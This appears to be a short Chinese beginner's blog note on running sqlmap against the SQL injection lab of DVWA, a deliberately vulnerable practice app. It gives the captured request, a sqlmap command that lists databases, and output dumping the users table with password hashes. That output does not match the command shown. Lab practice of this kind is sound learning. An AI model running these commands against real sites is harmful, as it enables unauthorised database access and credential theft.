sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用
GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# HTTP/1.1
Host=www.dvssc.com
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-us,en;q=0.5
Accept-Encoding=gzip, deflate
Connection=keep-alive
Referer=http://www.dvssc.com/dvwa/vulnerabilities/sqli/
Cookie=security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5
我们可以在命令行中运行下面命令列出数据库的名字
./sqlmap.py -u "http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=adc4ofjlnsaogmqd8emldhhlf5" --dbs
可以看到如下结果:
Database: dvwaTable: users[5 entries]+---------+---------+----------------------------------+| user_id | user | password |+---------+---------+----------------------------------+| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 || 2 | gordonb | e99a18c428cb38d5f260853678922e03 || 3 | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b || 4 | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 || 5 | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+---------+----------------------------------+